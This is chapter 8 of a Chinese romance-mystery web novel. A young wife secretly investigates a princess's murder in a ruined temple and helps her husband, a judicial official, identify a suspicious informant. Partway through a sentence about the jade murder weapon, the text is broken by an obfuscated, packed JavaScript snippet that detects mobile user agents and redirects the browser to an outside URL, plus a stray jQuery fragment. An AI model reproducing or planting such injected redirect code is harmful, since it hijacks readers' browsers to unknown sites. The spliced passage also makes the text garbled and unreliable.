8. 第 8 章
作品:《少卿大人今日也在努力装失忆》 江敛目光扫向周围,眼神严肃,“剑影,先排查附近,再通知宋府。”
末了,江敛又补充道,“暂时不要大肆宣扬。”
这天夜里,江敛都在忙于这事,只命人送回沈意欢,自己则留在大理寺中。
夜色浓墨,周围悄无声息。
沈意欢动作熟练地关上房门,又在衣柜拿出江敛的衣服换上,伪装好一切后,她从窗中悄然离开,直奔城外破庙。
此刻的破庙和白日完全不同,如果说白日只是荒凉,那夜晚便多了几分诡异。
不知从何处而来的风不断咆哮着,残破的门窗根本挡不住侵袭,发出怪异声响。
从怀中拿出火折子,借着微弱光亮,沈意欢步步走近。
临月郡主的尸体已被带离,只剩地上干涸的血迹。
沈意欢低头仔细查看,血迹并未完全干涸,像是今日的。
难道临月郡主是在他们来之前遇害?又那么凑巧?
沈意欢皱着眉,转身查看环境。
破庙中四处散着灰尘,怎么看都不像是堂堂郡主会来的地方。
沈意欢慢步走着,忽然在佛像侧面看见一串脚印。
脚印不似在探查,反倒极其具有目的性。
沈意欢神色一凝,轻脚踩在脚印上方,一步步跟着往后走去。
移开一块木板,再次抬眼,沈意欢已经来到佛像身后。
和前方不同,佛像身后异常干净,就好像常有人前来清扫。
地上甚至还铺着被子,被子虽破旧但很干净,上面的绣红像是成婚所用。
简单查看后,沈意欢转身刚准备离去,余光却被石座上一排小字吸引。
待我考取功名,定不负冉冉。
字迹遒劲有力,大约是个书生所刻。
有书生曾在此,沈意欢并不疑惑。
这破庙虽在城外,但对于一些家境贫寒、进京赶考之人确实个极好的去处。
毕竟他们路途遥远,又钱财无几。
沈意欢眨眨眼,目光又落在这行字下方的小字。
那小字娟秀工整,整整齐齐刻着:临月唯愿宋郎,得偿所愿。
宋!
“当初宋大人家贫。”
“那位是宋大人,他的妻子说临月郡主。”
沈意欢脑中想起这两句话,她迅速联想到一人。
若这个宋郎是临月郡主夫君,宋大人。
那临月郡主会出现在此,也不足为奇。
或许,这是两人定情之地!
最后看一眼字迹,沈意欢后退几步,将此处恢复原样,转身离开。
原本她还想再去看一眼临月郡主的尸体,可惜白日并未看清尸体被送完何处。
不过就算看清了,郡主尸体旁也定然有人看管,不如等到明日江敛回府。
可一直到次日午时,江敛都未曾出现。
早早便梳洗好的沈意欢坐在桌前,看着眼前的饭菜,她转头笑着对江伯开口,“江管家,让厨房多做些饭菜包起来,我想送去给夫君。”
江伯脸上笑开了花,连连点头,“好的夫人,我这就命人装些。”
拎着食盒,沈意欢抬脚走向门外。
江伯安排的马车还未达到,就看见那辆专属江敛的马车迎面驶来,坐在前方的人正是剑影。
见到沈意欢,剑影直接跳下,快步走来,“见过江夫人,是大人命我来接您的。”
说完,剑影又挠了挠头,再次开口,“大人昨夜就说了来接您,本来我一早就该来的,可临走前大人让我午时夫人用膳后再来,以免扰了江夫人。”
沈意欢似乎猜到什么,她点点头,“那就劳烦剑影侍卫了。”
坐在马车上,沈意欢握着食盒的手无意识攥紧。
她没想到江敛竟会命人来接她。
原以为,他会忘了。
与此同时,江敛正在翻看仵作呈上来的文书,可时间过了许久,都未曾翻动一页,甚至连动作都没有。
时间慢慢过去,江敛的视线也缓缓从文书上转而落在门口。
他的视线正巧与刚走进的沈意欢相撞。
“夫君,是在等我?”
沈意欢笑着开口。
江敛立即收回视线,欲盖弥彰地拿起桌上文书,“只是在查看临月郡主一事。”
瞧着江敛明显心虚的模样,沈意欢低头笑笑。
剑影上前将饭菜摆好,沈意欢适时开口,“夫君还未用膳吧,不如一会再看?”
沈意欢走上前,伸手将江敛手中文书放下,主动推着他到小桌旁,抬手递上碗筷,她语气充满担忧。
“若是夫君饿着,我会担心的。”
对于她的动作江敛并未阻拦,顺从接过。
趁着江敛用膳之际,沈意欢不经意般走向书桌。
视线直接看向文书最下方。
猜测死亡时间。
昨日卯时。
正巧是他们去之前。
但若加上衙门往返探查,算算时间,中间却多出了一个人。
是那个报案人。
意识到这点,沈意欢抬头看向江敛,开口问道,“夫君可知昨日报案人是谁?”
闻言,江敛看了一眼剑影。
剑影摇了摇头,“大人,昨日是一名猎户来报说发现了临月郡主尸体,让衙门看好人后,我便赶往府中告知您了,后来那猎户家有急事要走,便让人离开了。”
说完剑影又挠挠头,“大人还有什么问题吗?我再去找他。”
对上剑影那双清澈的眼睛,江敛紧抿着唇,实在是想不通他是如何做到府中侍卫第二的。
可江敛不说话,并不代表所有人都不说话。
一旁的沈意欢弯眸浅笑,“怕是现在再怎么找也找不到那名猎户了。”
“为何?”
“他昨日留了地址的。”
剑影不甘示弱反驳道。
沈意欢神色一顿,她没想到剑影竟如此单纯,顿时看向江敛的视线都带上了几分异样。
正遇剑墨前来送匕首,听见谈话,他立即明白了沈意欢的话。
他淡淡瞟向剑影,眼中凌厉,“那破庙周围无山无水,猎户怎会去那?”
“我们从未将临月郡主失踪之事放出,他怎么知道?”
“再者,临月郡主尸体已毁容,一猎户又如何能确定那是临月郡主!”
剑墨一句接着一句,说的剑影满脸羞愧。
沈意欢还在一旁默默补刀,“剑墨说的是,说不定那猎户就与杀害临月郡主的凶手有关呢。”
这话一出,剑影扑通一声跪在地上,“是属下失职,求大人惩罚。”
江敛无奈摆手,“以后这些事情让剑墨去办。”
知晓猎户不见后,沈意欢也没了问话的心思,目光移动,被剑墨手中木盒吸引。
那盒中装的正是昨日插在临月郡主心上的匕首。
昨日匆匆一瞥,只看见匕首精致。
今日细看,倒不只是精致这么简单了。
此匕首竟为一把玉匕首,整体由一块完整的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971592|193469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玉雕成,在刀柄顶处还嵌着一颗硕大的明珠。
光是看着,就可知,这定不是平常百姓所有。
盯着匕首,沈意欢再次开口,“夫君可曾查验这匕首所属何人?”
江敛回道,“宋大人之前来过,认出匕首是他亲手所做,赠与临月郡主防身所用。”
沈意欢垂眸,脑中想到那石座上的刻字。
她抬手随意拨弄桌上摆件,语气平淡,“那破庙地处荒凉,平常人并不会前往,可对于一些家境清寒之人,又算个好去处。”
“之前李五曾说宋大人从前贫苦,前往京城路途遥远,或许会选择在破庙歇脚也不一定。”
江敛迅速理解沈意欢话中意思,转头对旁边剑墨吩咐道,“剑墨,带着剑影去破庙仔细查看一番。”
剑墨领命接下,离去还不忘记带上一旁满是懊悔的剑影。
此时,屋内只剩下江敛和沈意欢二人。
前者在等结果,后者在寻理由前往宋府。
时间飞快过去,搜查结束的剑墨带着剑影匆匆赶回。
一进门,剑墨便开口,“大人,在佛像后发现床褥,像是有人曾在那居住,又在石座上发现两排字。”
“因那处之前被木板遮挡,再加上昨日搜寻时天色昏暗才未发现。”
江敛点点头,垂眸看着剑墨呈上来的临摹的字迹。
沈意欢顺势走近,她站在江敛身后,目光看向纸上字,喃喃出声,“临月唯愿宋郎,得偿所愿。”
沈意欢假意惊讶,“夫君,这是临月郡主和宋大人所留?”
江敛收起纸条,出声道,“去宋府。”
路上,江敛神色不明,他盯着沈意欢突然开口,“你是如何知晓那庙和宋大人有关?”
身上目光如炬,沈意欢浅浅抬眸,在看到江敛眼中警惕后也不为所动。
良久,她仿佛被伤透了心,眼尾泛上红意,低着头,语气沮丧,“夫君,这是何意?你明知道我家中遇难,来寻你的路上过的是什么日子。”
“那些时日,我和娘亲无处可去,住的就是那些荒凉之地。”
“如此,我才联想到宋大人从前家境贫寒,会不会也曾在那歇脚。”
听见这话,江敛的心好像被什么戳了一下,满腔酸涩。
看着眼前人通红的眼眶,江敛十分后悔自己刚才的话,他张了张嘴,却不知如何开口。
直到马车停下,江敛才干巴巴说道,“此事是我的不对,还望,求得欢欢原谅。”
江敛似乎还觉得不够,又再次开口,“为求欢欢原谅,我愿接受一切惩罚。”
沈意欢下意识抬眼望去,却撞进一双黝黑的眸子。
江敛脸上虽平静如水,可眼中却暗藏慌张,就连垂在两侧的手都紧紧攥着,像是害怕得不到原谅。
见此,沈意欢故意扭开身子,嗓音带着未散去的哭腔,“别以为这样我就能原谅你,我定要罚你”
沈意欢故意拖着嗓音,余光望向江敛,见他还是一副认真的样子,这才开口。
“那就罚夫君永远不许离开我。”
沈意欢微微眯起眼,满脸期待的等待回答。
她不知道江敛会不会恢复记忆,但沈家一事尚无思绪,她必须要在江敛心中占据位置。
一旁江敛听见这话,耳尖蹭的一下便红透了,不知作何回应。
外面传来剑影催促的声音,“大人,宋府到了。”
见车帘即将被掀开,江敛这才嗯了一声。
话落便扶着剑影匆匆下了马车。

